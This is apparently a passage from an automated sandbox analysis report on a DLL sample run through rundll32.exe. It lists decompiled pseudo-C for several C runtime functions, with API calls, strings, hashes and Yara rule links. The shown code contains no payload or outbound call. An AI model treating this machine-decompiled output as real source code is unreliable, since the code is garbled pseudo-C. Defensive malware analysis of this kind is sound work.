								_t15 = E6EFC27A9(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E6EFC016E(GetLastError());
									_t17 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E6EFC1DE4(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E6EFC016E(GetLastError());
						_t17 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E6EFC1DE4(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E6EFC1E0B(_a8);
				return 0;
			}

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EFC1D22

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 1197f3485e2b14cc965f18f9fea0705be451d48d3a82264c95d0766bafc96819
Instruction ID: 03fca048d3dfd7ced71eae326af7ee18e2f270c7346618cef40e0fc14a65f18f
Opcode Fuzzy Hash: 1197f3485e2b14cc965f18f9fea0705be451d48d3a82264c95d0766bafc96819
Instruction Fuzzy Hash: 7F21C272604107AFE7109EE68CA099BB7BCEF41BAD7304A16F894D7140E731EC658762

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBF49B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E6EFBF49B(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x6efc8124(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x6efbf4a1
0x6efbf4a5
0x6efbf4b0
0x6efbf4b8
0x6efbf4c3
0x6efbf4c9
0x6efbf4cd
0x6efbf4d4
0x6efbf4da
0x6efbf4da
0x6efbf4dc
0x6efbf4e1
0x00000000
0x6efbf4e6
0x6efbf4ef

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6EFBF44D,?,?,6EFBF415,?,00000001,?), ref: 6EFBF4B0
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EFBF4C3
FreeLibrary.KERNEL32(00000000,?,?,6EFBF44D,?,?,6EFBF415,?,00000001,?), ref: 6EFBF4E6

Strings

mscoree.dll, xrefs: 6EFBF4A9
CorExitProcess, xrefs: 6EFBF4BB

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 983cb1966e3f52dfd8e90e7f32ed0774eb0771c78528c81b523b99ed27b46206
Instruction ID: 96830a48c5101a2a238b9d93df5bf3b5500d1357df16d819c406cd8483e06957
Opcode Fuzzy Hash: 983cb1966e3f52dfd8e90e7f32ed0774eb0771c78528c81b523b99ed27b46206
Instruction Fuzzy Hash: F4F0E236A10659FBCF51AB81CC1DBAF7E78EF40B11F204050F805A6100CB319E00DA81

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC4706, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC4706(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x6efe6790; // 0x6efe67e0
					if(_t23 != 0) {
						E6EFBFEFF(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x6efe6794; // 0x6effe7e8
					if(_t24 != 0) {
						E6EFBFEFF(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x6efe6798; // 0x6effe7e8
					if(_t25 != 0) {
						E6EFBFEFF(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x6efe67c0; // 0x6efe67e4
					if(_t26 != 0) {
						E6EFBFEFF(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x6efe67c4; // 0x6effe7ec
					if(_t27 != 0) {
						return E6EFBFEFF(_t6);
					}
				}
				return _t6;
			}

APIs

_free.LIBCMT ref: 6EFC471E

Part of subcall function 6EFBFEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?), ref: 6EFBFF15
Part of subcall function 6EFBFEFF: GetLastError.KERNEL32(?,?,6EFC4799,?,00000000,?,00000000,?,6EFC47C0,?,00000007,?,?,6EFC4436,?,?), ref: 6EFBFF27

_free.LIBCMT ref: 6EFC4730
_free.LIBCMT ref: 6EFC4742
_free.LIBCMT ref: 6EFC4754
_free.LIBCMT ref: 6EFC4766

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 52e02cdd9d539a175ccbdc8bb6003552820b498f03f58517fd71e4ec76a68df6
Instruction ID: a17ab8feefab5fed0387df6495a9d0a82be1a16b5c2e0358555d66d015992627
Opcode Fuzzy Hash: 52e02cdd9d539a175ccbdc8bb6003552820b498f03f58517fd71e4ec76a68df6
Instruction Fuzzy Hash: D9F0623252464AAB9A90DBD9D5E0C6737DDEE46B207F21C46F11ADBA00CF30F8C04B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1699, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EFC1699(void* __ebx, void* __edi, void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t205;
				signed int _t207;
				signed int _t210;
				signed int _t212;
				signed int _t213;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int* _t220;
				signed int _t223;
				void* _t226;
				union _FINDEX_INFO_LEVELS _t227;
				intOrPtr _t230;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				intOrPtr* _t240;
				signed int _t242;
				intOrPtr* _t245;
				signed int _t250;
				signed int _t256;
				signed int _t258;
				signed int _t264;
				intOrPtr* _t265;
				signed int _t273;
				signed int _t275;
				intOrPtr* _t276;
				void* _t278;
				intOrPtr* _t279;
				signed int _t282;
				signed int _t285;
				signed int _t287;
				intOrPtr _t289;
				signed int* _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t299;
				signed int _t301;
				void* _t302;
				void* _t303;
				signed int _t305;
				void* _t309;
				signed int _t310;
				void* _t311;
				void* _t312;
				void* _t313;
				signed int _t314;
				void* _t315;
				void* _t316;

				_t131 = _a8;
				_t312 = _t311 - 0x28;
				_t320 = _t131;
				if(_t131 != 0) {
					_t294 = _a4;
					_t223 = 0;
					 *_t131 = 0;
					_t285 = 0;
					_t132 =  *_t294;
					_t233 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t223;
						_t134 = _t233 - _t285;
						_t295 = _t285;
						_v12 = _t295;
						_t272 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t233 - _t295;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t297 =  !_t295 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t297;
						if(_t297 != 0) {
							_t214 = _t285;
							_t282 = _t223;
							do {
								_t265 =  *_t214;
								_t20 = _t265 + 1; // 0x1
								_v20 = _t20;
								do {
									_t216 =  *_t265;
									_t265 = _t265 + 1;
									__eflags = _t216;
								} while (_t216 != 0);
								_t223 = _t223 + 1 + _t265 - _v20;
								_t214 = _v12 + 4;
								_t282 = _t282 + 1;
								_v12 = _t214;
								__eflags = _t282 - _t297;
							} while (_t282 != _t297);
							_t272 = _v16;
							_v8 = _t223;
							_t223 = 0;
							__eflags = 0;
						}
						_t298 = E6EFBF7DC(_t136, _t272, _v8, 1);
						_t313 = _t312 + 0xc;
						__eflags = _t298;
						if(_t298 != 0) {
							_v12 = _t285;
							_t139 = _t298 + _v16 * 4;
							_t234 = _t139;
							_v28 = _t139;
							_t140 = _t285;
							_v16 = _t234;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t223;
								 *_a8 = _t298;
								_t299 = _t223;
								goto L25;
							} else {
								_t275 = _t298 - _t285;
								__eflags = _t275;
								_v32 = _t275;
								do {
									_t150 =  *_t140;
									_t276 = _t150;
									_v24 = _t150;
									_v20 = _t276 + 1;
									do {
										_t152 =  *_t276;
										_t276 = _t276 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t276 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E6EFC4A43(_t234, _v28 - _t234 + _v8, _v24);
									_t313 = _t313 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										_push(_t223);
										E6EFC00F7();
										asm("int3");
										_t309 = _t313;
										_push(_t234);
										_t240 = _v72;
										_t65 = _t240 + 1; // 0x1
										_t278 = _t65;
										do {
											_t159 =  *_t240;
											_t240 = _t240 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t285);
										_t287 = _a8;
										_t242 = _t240 - _t278 + 1;
										_v12 = _t242;
										__eflags = _t242 -  !_t287;
										if(_t242 <=  !_t287) {
											_push(_t223);
											_push(_t298);
											_t68 = _t287 + 1; // 0x1
											_t226 = _t68 + _t242;
											_t302 = E6EFC01B7(_t242, _t226, 1);
											__eflags = _t287;
											if(_t287 == 0) {
												L40:
												_push(_v12);
												_t226 = _t226 - _t287;
												_t164 = E6EFC4A43(_t302 + _t287, _t226, _v0);
												_t314 = _t313 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t230 = _a12;
													_t207 = E6EFC1C8B(_t230);
													_v12 = _t207;
													__eflags = _t207;
													if(_t207 == 0) {
														 *( *(_t230 + 4)) = _t302;
														_t305 = 0;
														_t77 = _t230 + 4;
														 *_t77 =  *(_t230 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E6EFBFEFF(_t302);
														_t305 = _v12;
													}
													E6EFBFEFF(0);
													_t210 = _t305;
													goto L37;
												}
											} else {
												_push(_t287);
												_t212 = E6EFC4A43(_t302, _t226, _a4);
												_t314 = _t313 + 0x10;
												__eflags = _t212;
												if(_t212 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E6EFC00F7();
													asm("int3");
													_push(_t309);
													_t310 = _t314;
													_t315 = _t314 - 0x298;
													_t166 =  *0x6efe609c; // 0x6fb7da39
													_v124 = _t166 ^ _t310;
													_t245 = _v108;
													_t279 = _v104;
													_push(_t226);
													_push(0);
													_t289 = _v112;
													_v724 = _t279;
													__eflags = _t245 - _t289;
													if(_t245 != _t289) {
														while(1) {
															_t205 =  *_t245;
															__eflags = _t205 - 0x2f;
															if(_t205 == 0x2f) {
																break;
															}
															__eflags = _t205 - 0x5c;
															if(_t205 != 0x5c) {
																__eflags = _t205 - 0x3a;
																if(_t205 != 0x3a) {
																	_t245 = E6EFC4A90(_t289, _t245);
																	__eflags = _t245 - _t289;
																	if(_t245 != _t289) {
																		continue;
																	}
																}
															}
															break;
														}
														_t279 = _v616;
													}
													_t168 =  *_t245;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t227 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t227;
														_v672 = _t227;
														_push(_t302);
														asm("sbb eax, eax");
														_v668 = _t227;
														_v664 = _t227;
														_v644 =  ~(_t169 & 0x000000ff) & _t245 - _t289 + 0x00000001;
														_v660 = _t227;
														_v656 = _t227;
														_t175 = E6EFC167A(_t245 - _t289 + 1, _t289,  &_v676, E6EFC1B96(_t279, __eflags));
														_t316 = _t315 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t227,  &_v608, _t227, _t227, _t227);
														_t303 = _t179;
														__eflags = _t303 - 0xffffffff;
														if(_t303 != 0xffffffff) {
															_t250 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t250;
															_v648 = _t250 >> 2;
															do {
																_v640 = _t227;
																_v636 = _t227;
																_v632 = _t227;
																_v628 = _t227;
																_v624 = _t227;
																_v620 = _t227;
																_t185 = E6EFC15AB( &(_v608.cFileName),  &_v640,  &_v609, E6EFC1B96(_t279, __eflags));
																_t316 = _t316 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t289);
																	_push(_t188);
																	L33();
																	_t316 = _t316 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t227;
																		if(_v620 != _t227) {
																			E6EFBFEFF(_v632);
																			_t188 = _v652;
																		}
																		_t227 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t256 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t256;
																	if(_t256 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t256 - 0x2e;
																		if(_t256 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t227;
																			if( *((intOrPtr*)(_t188 + 2)) == _t227) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t303);
																goto L77;
																L68:
																__eflags = _v620 - _t227;
																if(_v620 != _t227) {
																	E6EFBFEFF(_v632);
																}
																__eflags = FindNextFileW(_t303,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t258 = _v648;
															_t280 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t258 - _t199;
															if(_t258 != _t199) {
																E6EFBEB90(_t227, _t289, _t303, _t280 + _t258 * 4, _t199 - _t258, 4, E6EFC14E1);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t227);
															_push(_t227);
															_push(_t289);
															L33();
															_t227 = _t179;
														}
														L77:
														__eflags = _v656;
														if(_v656 != 0) {
															E6EFBFEFF(_v668);
														}
													} else {
														__eflags = _t245 - _t289 + 1;
														if(_t245 == _t289 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t279);
															_push(0);
															_push(0);
															_push(_t289);
															L33();
														}
													}
													__eflags = _v16 ^ _t310;
													return E6EFBC65E(_v16 ^ _t310);
												} else {
													goto L40;
												}
											}
										} else {
											_t210 = 0xc;
											L37:
											return _t210;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t213 = _v12;
									_t264 = _v16;
									 *((intOrPtr*)(_v32 + _t213)) = _t264;
									_t140 = _t213 + 4;
									_t234 = _t264 + _v20;
									_v16 = _t234;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t299 = _t298 | 0xffffffff;
							_v12 = _t299;
							L25:
							E6EFBFEFF(_t223);
							_pop(_t235);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t223;
							_t218 = E6EFC4A50(_t132,  &_v8);
							_t235 =  *_t294;
							__eflags = _t218;
							if(_t218 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t218);
								_push(_t235);
								L46();
								_t312 = _t312 + 0xc;
								_v12 = _t218;
								_t299 = _t218;
							} else {
								_t219 =  &(_v608.cAlternateFileName);
								_push(_t219);
								_push(_t223);
								_push(_t223);
								_push(_t235);
								L33();
								_t299 = _t219;
								_t312 = _t312 + 0x10;
								_v12 = _t299;
							}
							__eflags = _t299;
							if(_t299 != 0) {
								break;
							}
							_t294 =  &(_a4[1]);
							_a4 = _t294;
							_t132 =  *_t294;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t285 = _v608.cAlternateFileName;
								_t233 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t285 = _v608.cAlternateFileName;
						L26:
						_t273 = _t285;
						_v32 = _t273;
						__eflags = _v40 - _t273;
						asm("sbb ecx, ecx");
						_t237 =  !_t235 & _v40 - _t273 + 0x00000003 >> 0x00000002;
						__eflags = _t237;
						_v28 = _t237;
						if(_t237 != 0) {
							_t301 = _t237;
							do {
								E6EFBFEFF( *_t285);
								_t223 = _t223 + 1;
								_t285 = _t285 + 4;
								__eflags = _t223 - _t301;
							} while (_t223 != _t301);
							_t285 = _v608.cAlternateFileName;
							_t299 = _v12;
						}
						E6EFBFEFF(_t285);
						goto L31;
					}
				} else {
					_t220 = E6EFC01A4(_t320);
					_t299 = 0x16;
					 *_t220 = _t299;
					E6EFC00E7();
					L31:
					return _t299;
				}
				L81:
			}

APIs

_free.LIBCMT ref: 6EFC1833

Strings

*?, xrefs: 6EFC16DC

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 834d10d10cefc13e59b5b3ede005935d13e01a0ad1254e615dddca7c9f39287c
Instruction ID: 208185a1d5da21c4663612ca4d8e13ef204378ee430dfb505862d42e302ccedd
Opcode Fuzzy Hash: 834d10d10cefc13e59b5b3ede005935d13e01a0ad1254e615dddca7c9f39287c
Instruction Fuzzy Hash: 90617CB6E0421A9FDB14CFE9C8905EEFBF9EF48710B2481AAD814E7340D7319E458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC15AB, Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC15AB(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t29;
				char _t31;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t41;

				_t40 = _a4;
				if(_t40 != 0) {
					_t31 = 0;
					__eflags =  *_t40;
					if( *_t40 != 0) {
						_t16 = E6EFC27A9(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t16;
						if(__eflags != 0) {
							_t38 = _a8;
							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t17 = E6EFC27A9(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
								__eflags = _t17;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
									_t19 = 0;
									__eflags = 0;
								} else {
									E6EFC016E(GetLastError());
									_t19 =  *((intOrPtr*)(E6EFC01A4(__eflags)));
								}
								L14:
								return _t19;
							}
							_t19 = E6EFC1BF1(_t38, __eflags, _t16);
							__eflags = _t19;
							if(_t19 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6EFC016E(GetLastError());
						return  *((intOrPtr*)(E6EFC01A4(__eflags)));
					}
					_t41 = _a8;
					__eflags =  *((intOrPtr*)(_t41 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
						L2:
						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
						return 0;
					}
					_t29 = E6EFC1BF1(_t41, __eflags, 1);
					__eflags = _t29;
					if(_t29 != 0) {
						return _t29;
					}
					goto L6;
				}
				_t41 = _a8;
				E6EFC1BD7(_t41);
				_t31 = 0;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

APIs

Part of subcall function 6EFC1BD7: _free.LIBCMT ref: 6EFC1BE5

Part of subcall function 6EFC27A9: WideCharToMultiByte.KERNEL32(?,00000000,6EFC084A,00000000,00000001,6EFC07E3,6EFC3ABD,?,6EFC084A,?,00000000,?,6EFC3834,0000FDE9,00000000,?), ref: 6EFC284B

GetLastError.KERNEL32 ref: 6EFC1613
__dosmaperr.LIBCMT ref: 6EFC161A
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6EFC1659
__dosmaperr.LIBCMT ref: 6EFC1660

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 31cf1aa4aa2060f3af581ba84ff2dbdfaff759b47a89718592ebdca9ae850215
Instruction ID: d412b40a0e21ab32c3a9ad5e57ae6ef23f89c1b13193d9bf4b9a7419217d7c2a
Opcode Fuzzy Hash: 31cf1aa4aa2060f3af581ba84ff2dbdfaff759b47a89718592ebdca9ae850215
Instruction Fuzzy Hash: E7210871604207AFE7109FE68CB095BB7BCEF41B787248915F52993140EB31EC659B92

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC103A, Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EFC103A(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x6efe619c; // 0x6
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EFC04CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E6EFC01B7(_t43, 1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t51);
							if(__eflags != 0) {
								E6EFC0E38(_t60, _t51, 0x6effe640);
								E6EFBFEFF(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E6EFC04CA(__eflags,  *0x6efe619c, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E6EFC04CA(0,  *0x6efe619c, 0);
							_push(0);
							L9:
							E6EFBFEFF();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E6EFC048B(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x6efe619c; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E6EFBFE28(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x6efe619c; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E6EFC04CA(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E6EFC01B7(_t43, 1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t60);
								if(__eflags != 0) {
									E6EFC0E38(_t60, _t60, 0x6effe640);
									E6EFBFEFF(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E6EFC04CA(__eflags,  *0x6efe619c, _t21);
									_push(_t60);
